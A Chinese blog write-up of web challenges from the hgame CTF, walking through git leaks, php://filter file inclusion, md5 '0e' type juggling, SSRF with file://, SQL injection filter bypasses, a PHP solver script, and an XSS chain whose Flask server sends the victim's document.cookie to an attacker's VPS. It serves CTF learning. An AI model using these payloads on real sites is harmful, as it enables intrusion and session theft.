hgame是杭电的比赛,比赛时间持续很长很长,一个4周,现在还在第四周的比赛中,然而five的我只做了week1这种签到题,后来就过年摸鱼去了,最近看汇编看的脑壳疼,才想起了还有这个,于是看着wp复现一下web部分的题目,这篇博客是web1&web2的。。。
0x01 Cosmos的博客
根据提示,可以知道和git有关,访问/.git/HEAD测试,发现确实存在该路径
使用githack可以得到文件,但是本地没有相关的分支,于是考虑是在github行,使用git remote -v
可以找到仓库地址
最后在一个commit里面找到flag
解Base64得 hgame{g1t_le@k_1s_danger0us_!!!!}
0x02 街头霸王
根据提示一步步添加修改请求头,就可以了
0x03 Code World
控制台中发现302重定向
抓包找到跳转前得请求,直接发送出现405
改成以POST方式请求,可以得到一个人鸡交互界面
这里加号会被过滤,采用urlencode提交,这里因为是POST提交,所以还是要随便加一个POST参数
0x04 🐔尼泰玫
js游戏,直接将分数改掉就好
0x05 Cosmos的博客后台
action参数处可以文件包含,使用伪协议和base64,进行文件包含,可以得到base64逗得源码,解码后就可以得到源代码
Payload: action=php://filter/convert.base64-encode/resource=login.php
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 41 42 43 44 45 46 47 48 49 50 51 52 53 54 55 56 57 58 59 60 61 62 63 64 65 66
| <?php include "config.php"; session_start();
//Only for debug if (DEBUG_MODE){ if(isset($_GET['debug'])) { $debug = $_GET['debug']; if (!preg_match("/^[a-zA-Z_\x7f-\xff][a-zA-Z0-9_\x7f-\xff]*$/", $debug)) { die("args error!"); } eval("var_dump($$debug);"); } }
if(isset($_SESSION['username'])) { header("Location: admin.php"); exit(); } else { if (isset($_POST['username']) && isset($_POST['password'])) { if ($admin_password == md5($_POST['password']) && $_POST['username'] === $admin_username){ $_SESSION['username'] = $_POST['username']; header("Location: admin.php"); exit(); } else { echo "用户名或密码错误"; } } } ?>
<!DOCTYPE html> <html lang="zh-CN"> <head> <meta charset="utf-8"> <meta http-equiv="X-UA-Compatible" content="IE=edge"> <meta name="viewport" content="width=device-width, initial-scale=1"> <meta name="description" content=""> <meta name="author" content=""> <title>Cosmos的博客后台</title> <link href="static/signin.css" rel="stylesheet"> <link href="static/sticky-footer.css" rel="stylesheet"> <link href="https://cdn.bootcss.com/bootstrap/3.3.7/css/bootstrap.min.css" rel="stylesheet"> </head>
<body>
<div class="container"> <form class="form-signin" method="post" action="login.php"> <h2 class="form-signin-heading">后台登陆</h2> <input type="text" name="username" class="form-control" placeholder="用户名" required autofocus> <input type="password" name="password" class="form-control" placeholder="密码" required> <input class="btn btn-lg btn-primary btn-block" type="submit" value="Submit"> </form> </div> <footer class="footer"> <center> <div class="container"> <p class="text-muted">Created by Annevi</p> </div> </center> </footer> </body> </html>
|
在login.php中可以找到登陆相关的代码
要求我们提交的参数,等于给定的参数,给定的两个参数admin_password和admin_username这个文件中没有看到,但是这个文件中包含了一个config.php,应该是放在这里面的,尝试去包含这个文件,然而过滤了config关键字,只能继续看login的代码
在这里可以看到可以使用GET方式提交一个debug参数,并且使用var_dump($$debug)
,var_dump() 函数用于输出变量的相关信息,显示关于一个或多个表达式的结构信息,包括表达式的类型与值。数组将递归展开值,通过缩进显示其结构,在这里admin_password和admin_username是两个已定义的变量,所以可以使用$$GLOBALS全局变量得到这两个参数
最终我们得到admin_username为:Cosmos!
但是这里的admin_upassword是md5值,尝试解md5(做梦),答案肯定解不出来的233333
继续看代码,在登陆验证这里的password判断使用的是$admin_password == md5($_POST['password']
很明显要是用php的弱类型,在php中,0e在进行比较是,会被认为是科学计数法,也就是0的n次方,当然都是0了,所以我们只需要找到一个md5后开头为0e的字符串就好了233333,百度一下,就可以找到,这里使用s155964671a,成功登陆到了admin,把admin.php导出来,继续分析代码
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 41 42 43 44 45 46 47 48 49 50 51 52 53 54 55 56 57 58 59 60 61 62 63
| <?php include "config.php"; session_start(); if(!isset($_SESSION['username'])) { header('Location: index.php'); exit(); }
function insert_img() { if (isset($_POST['img_url'])) { $img_url = @$_POST['img_url']; $url_array = parse_url($img_url); if (@$url_array['host'] !== "localhost" && $url_array['host'] !== "timgsa.baidu.com") { return false; } $c = curl_init(); curl_setopt($c, CURLOPT_URL, $img_url); curl_setopt($c, CURLOPT_RETURNTRANSFER, 1); $res = curl_exec($c); curl_close($c); $avatar = base64_encode($res);
if(filter_var($img_url, FILTER_VALIDATE_URL)) { return $avatar; } } else { return base64_encode(file_get_contents("static/logo.png")); } } ?>
<html> <head> <title>Cosmos'Blog - 后台管理</title> </head> <body> <a href="logout.php">退出登陆</a> <div style="text-align: center;"> <h1>Welcome <?php echo $_SESSION['username'];?> </h1> </div> <form action="" method="post"> <fieldset style="width: 30%;height: 20%;float:left"> <legend>插入图片</legend> <p><label>图片url: <input type="text" name="img_url" placeholder=""></label></p> <p><button type="submit" name="submit">插入</button></p> </fieldset> </form> <fieldset style="width: 30%;height: 20%;float:left"> <legend>评论管理</legend> <h2>待开发..</h2> </fieldset> <fieldset style="width: 30%;height: 20%;"> <legend>文章列表</legend> <h2>待开发..</h2> </fieldset> <fieldset style="height: 50%"> <div style="text-align: center;"> <img height='200' width='500' src='data:image/jpeg;base64,<?php echo insert_img() ? insert_img() : base64_encode(file_get_contents("static/error.jpg")); ?>'> </div> </fieldset> </body> </html>
|
分析代码,导入图片处,可以直接文件包含,没有对文件类型进行限制,直接导入file://localhost/flag
解base64就可以得到flag => hgame{pHp_1s_Th3_B3sT_L4nGu4gE!@!}
0x06 Cosmos的留言板-1
这题没什么好说的,ID处为注入点,但是有点过滤,空格用/**/替换,select用selselectect替换,符号全部urlencode就好了
0x07 Cosmos的新语言
有代码,访问mycode,可以继续得到一个源码
1 2 3 4 5 6 7 8 9 10 11 12 13 14
| function encrypt($str){ $result = ''; for($i = 0; $i < strlen($str); $i++){ $result .= chr(ord($str[$i]) + 1); } return $result; }
echo(str_rot13(encrypt(str_rot13(str_rot13(str_rot13(encrypt(strrev(base64_encode(encrypt(encrypt($_SERVER['token'])))))))))));
if(@$_POST['token'] === $_SERVER['token']){ echo($_SERVER['flag']); }
|
分析代码大概可以知道,服务器会生成一个token参数,经过一系列处理之后,会直接输出,我们要做的的就是,那POST提交这个token参数,就需要去反向处理这个已知的参数,而这个参数和token的加密方法也是定时发生变化的,没办法手动处理,写个简单的代码就行了
Exp
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 41 42 43 44 45 46 47 48 49 50
| <?php function decrypt($str){ $result = ''; for($i = 0; $i < strlen($str); $i++){ $result .= chr(ord($str[$i]) - 1); } return $result; }
$url = 'http://b2fb0c7062.php.hgame.n3ko.co/';
$token = file_get_contents($url); $token = explode("\n", $token); $token = substr($token[4], 0, -4); $token = html_entity_decode($token);
$op_function = file_get_contents($url . '/mycode'); $op_function = explode("\n", $op_function)[8]; $op_function = explode('(', $op_function); $op_function = array_slice($op_function, 1, 10);
foreach($op_function as $value){ switch($value){ case 'base64_encode': $token = base64_decode($token); break; case 'strrev': $token = strrev($token); break; case 'str_rot13': $token = str_rot13($token); break; case 'encrypt': $token = decrypt($token); break; } }
$options['http'] = array( 'method' => 'POST', 'header' => 'Content-Type: application/x-www-form-urlencoded', 'content' => http_build_query(array('token' => $token)) ); $result = file_get_contents($url, false, stream_context_create($options)); echo($result);
?>
|
执行exp得到flag => hgame{51mPLE_$Cr1PT-wITH-pYTHON_OR-pHP}
0x08 Cosmos的聊天室
这道题,页面上有一个flag按钮,进入后要求要以admin的身份登陆
在页面中也很明显的给出了,提示,管理员就是这个机器人,我们要做的就是获取到机器人的cookie来替换我们自己的,正好提交按钮就可以把我们发送的消息拿给机器人看,很明显就是XSS了
但是这里发送消息过滤了所有的闭合html标签,需要想办法绕过,这里可以使用浏览器事件来执行js,不闭合右标签,让浏览器自动补全,然后使用引入外部页面的方式来获取token
payload:<link rel="import" href="http://vps的ip/"
在vps上起一个web服务,用于接收
1 2 3 4 5 6 7 8 9
| from flask import * app = Flask(__name__) @app.route('/') def hello_world(): response = make_response("<script>window.open('http://vps'ip/'+document.cookie)</script>") response.headers['Access-Control-Allow-Origin'] = '*' return response if __name__ == '__main__': app.run(host="0.0.0.0",port=1234)
|
得到admin的token后,替换本地的,访问/flag就可以得到flag了
0x09